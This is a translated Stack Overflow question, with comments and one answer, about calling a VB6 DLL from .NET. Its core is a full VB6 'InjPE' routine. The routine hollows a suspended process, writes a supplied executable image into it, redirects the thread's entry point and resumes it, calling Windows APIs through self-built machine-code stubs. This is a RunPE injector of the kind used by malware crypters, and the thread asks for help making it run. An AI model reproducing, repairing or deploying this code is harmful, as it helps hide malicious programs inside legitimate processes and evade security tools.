【问题标题】:Using a VB6.dll in .Net在 .Net 中使用 VB6.dll
【发布时间】:2011-12-01 01:03:24
【问题描述】:

我正在使用的 vb6 代码可以将应用程序“注入”到正在运行的进程中。实际上,它相当于.Net 的反射。通过执行以下操作,我成功地从 .Net 调用了 .dll 中的所有 vb6 函数:

  1. 在 VB6 中创建 DLL
  2. 在 Windows 中注册 DLL
  3. 添加注册的 dll 作为对 .Net winform 应用程序的引用
  4. 创建 .dll 的实例并调用嵌入的函数。

但是,我调用下面的代码没有运气 - 不断出现相同的错误。

附上一张图片:

错误如下:

试图读取或写入受保护的内存。这通常是一个 指示其他内存已损坏。

VB6 调用:

Project1.Class1 vb6Test = new Project1.Class1();

vb6Test.InjPE(Application.ExecutablePath, File.ReadAllBytes(Application.ExecutablePath));

注意: 当我在 vb6 项目本身中使用上述调用时(当不从外部源调用它时),这段代码工作得非常好。

导致错误的代码

 Private Declare Sub CopyBytes Lib "MSVBVM60" Alias "__vbaCopyBytes" (ByVal Sz As Long, Dest As Any, Source As Any)
Private Declare Function LoadLibraryA Lib "kernel32" (ByVal lpLibFileName As String) As Long
Private Declare Function CallWindowProcA Lib "user32" (ByVal addr As Long, ByVal p1 As Long, ByVal p2 As Long, ByVal p3 As Long, ByVal p4 As Long) As Long
Private Declare Function GetProcAddress Lib "kernel32" (ByVal hModule As Long, ByVal lpProcName As String) As Long

Private Type SUI
    cb As Long
End Type

Private Type P_I
    hP As Long: hT As Long
End Type

Private Type F_S_A
    CW As Long: SW As Long: TW As Long: EO As Long: ES As Long: DO As Long: DS As Long: RA(1 To 80) As Byte: CNS As Long
End Type

Private Type CX
    CF As Long: D0 As Long: D1 As Long: D2 As Long: D3 As Long: D6 As Long: D7 As Long: FS As F_S_A: SGs As Long: SFs As Long: SEs As Long: SDs As Long: Edi As Long: Esi As Long: Ebx As Long: Edx As Long: Ecx As Long: Eax As Long: Ebp As Long: Eip As Long: SCs As Long: EFlags As Long: Esp As Long: SSs As Long
End Type

Private Type I_D_H
    e_ma As Integer: e_cb As Integer: e_cp As Integer: e_cr As Integer: e_cpa As Integer: e_min As Integer: e_max As Integer: e_ss As Integer: e_sp As Integer: e_cs As Integer: e_ip As Integer: e_csa As Integer: e_lf As Integer: e_ov As Integer: e_re(0 To 3) As Integer: e_oe As Integer: e_oe2 As Integer: e_re2(0 To 9) As Integer: e_lfn As Long
End Type

Private Type I_F_H
    MCH As Integer: NOS As Integer: TDS As Long: PTST As Long: NOS2 As Long: SOOH As Integer: chst As Integer
End Type

Private Type I_D_D
    VA As Long: Sz As Long
End Type

Private Type I_O_H
    M As Integer: MLV As Byte: MLV2 As Byte: SOC As Long: SOFD As Long: SOUD As Long: AOEP As Long: BOC As Long: BOD As Long: IB As Long: SA As Long: FA As Long: MOSV As Integer: MOSV2 As Integer: MIV As Integer: MIV2 As Integer: MSV As Integer: MSV2 As Integer: W32VV As Long: SOI As Long: SOH As Long: CS As Long: SS As Integer: D As Integer: SOSS As Long: SOSC As Long: SOHR As Long: SOHC As Long: LF As Long: NORAZ As Long: DD(0 To 15) As I_D_D
End Type

Private Type I_N_H
    s As Long: FH As I_F_H: OH As I_O_H
End Type

Private Type I_S_H
    SN As String * 8: VS As Long: VA As Long: SORD As Long: PTRD As Long: PTR As Long: PTL As Long: NOR As Integer: NOL As Integer: chst As Long
End Type

Private Function CallAPI(ByVal strLib As String, ByVal strMod As String, ParamArray Params()) As Long
    Dim lP                As Long
    Dim bvA(&HEC00& - 1)  As Byte

    lP = VarPtr(bvA(0))

    CopyBytes &H4, ByVal lP, &H59595958:                   lP = lP + 4
    CopyBytes &H2, ByVal lP, &H5059:                       lP = lP + 2

    For i = UBound(Params) To 0 Step -1
        CopyBytes &H1, ByVal lP, &H68:                     lP = lP + 1
        CopyBytes &H4, ByVal lP, CLng(Params(i)):          lP = lP + 4
    Next

    CopyBytes &H1, ByVal lP, &HE8:                         lP = lP + 1
    CopyBytes &H4, ByVal lP, GetProcAddress(LoadLibraryA(strLib), strMod) - lP - 4:                  lP = lP + 4
    CopyBytes &H1, ByVal lP, &HC3:                         lP = lP + 1
    CallAPI = CallWindowProcA(VarPtr(bvA(0)), 0, 0, 0, 0)
End Function

Sub InjPE(szProcessName As String, lpBuffer() As Byte)
    Dim Pidh As I_D_H
    Dim Pinh As I_N_H
    Dim Pish As I_S_H
    Dim Si As SUI
    Dim Pi As P_I
    Dim CTX As CX

    Si.cb = Len(Si)
    CTX.CF = &H10007

    Call CallAPI("kernel32", "RtlMoveMemory", VarPtr(Pidh), VarPtr(lpBuffer(0)), Len(Pidh))
    Call CallAPI("kernel32", "RtlMoveMemory", VarPtr(Pinh), VarPtr(lpBuffer(Pidh.e_lfn)), Len(Pinh))
    Call CallAPI("kernel32", "CreateProcessW", 0, StrPtr(szProcessName), 0, 0, 0, &H4, 0, 0, VarPtr(Si), VarPtr(Pi))

    Call CallAPI("ntdll", "NtUnmapViewOfSection", Pi.hP, Pinh.OH.IB)
    Call CallAPI("kernel32", "VirtualAllocEx", Pi.hP, Pinh.OH.IB, Pinh.OH.SOI, &H1000 Or &H2000, &H40)
    Call CallAPI("ntdll", "NtWriteVirtualMemory", Pi.hP, Pinh.OH.IB, VarPtr(lpBuffer(0)), Pinh.OH.SOH, 0)

    For i = 0 To Pinh.FH.NOS - 1
        CopyBytes Len(Pish), Pish, lpBuffer(Pidh.e_lfn + Len(Pinh) + Len(Pish) * i)
        Call CallAPI("ntdll", "NtWriteVirtualMemory", Pi.hP, Pinh.OH.IB + Pish.VA, VarPtr(lpBuffer(Pish.PTRD)), Pish.SORD, 0)
    Next

    Call CallAPI("ntdll", "NtGetContextThread", Pi.hT, VarPtr(CTX))
    Call CallAPI("ntdll", "NtWriteVirtualMemory", Pi.hP, CTX.Ebx + 8, VarPtr(Pinh.OH.IB), 4, 0)
    CTX.Eax = Pinh.OH.IB + Pinh.OH.AOEP
    Call CallAPI("ntdll", "NtSetContextThread", Pi.hT, VarPtr(CTX))
    Call CallAPI("ntdll", "NtResumeThread", Pi.hT, 0)
End Sub

是否有我遗漏的步骤可以让我调用上述代码而不会引发错误?

谢谢,

埃文

【问题讨论】:

  • 你得到的错误通常是由于堆栈不平衡。请编辑您的问题以在 C# 中包含您的 P/Invoke 签名
  • 所以你在 Visual Studio 中运行时遇到这个错误?这是一个未捕获的异常吗?异常/错误中是否还有其他详细信息?
  • 那是一些勇敢的 VB6 代码。第一个 RtlMoveMemory 的目的是什么,因为它的源指针似乎只是一个零?是不是想清除 Pidh 结构的记忆?
  • 看来您正在尝试写入您的进程无权访问的内存。由于这是被加载到 .net CLR 的进程空间中,我敢打赌它会让你做的事情有点挑剔,比如尝试将外部可执行文件注入到它的进程空间中。听起来那里有一个很大的安全问题。所以你只需要从你的.net代码中启动一个exe,还是需要加载一个dll并在其中调用入口点? .Net 有很多更简单的方法可以做到这一点。
  • 知道了。您正在尝试将字节注入当前进程。像实际的机器代码一样?自我修改过程?注入字节数组的目标是什么。

标签: c# dll vb6 reference


【解决方案1】:

所以我认为 VB6 代码调用正常。如果您想让自己确信它进入了 InjPE 调用,请在其中抛出一个消息框,或者直接返回而不做任何事情。我怀疑 CLR 已经对您的线程进行了沙盒处理,并带走了任何允许您开始将代码注入其进程空间的权限。它可能是失败的 CallAPI 之一。

【讨论】:

    猜你喜欢
    • 2012-09-10
    • 2011-07-17
    • 1970-01-01
    • 2012-08-10
    • 2018-09-03
    • 2011-08-08
    • 2018-09-13
    • 2011-05-01
    • 1970-01-01
    相关资源
    最近更新 更多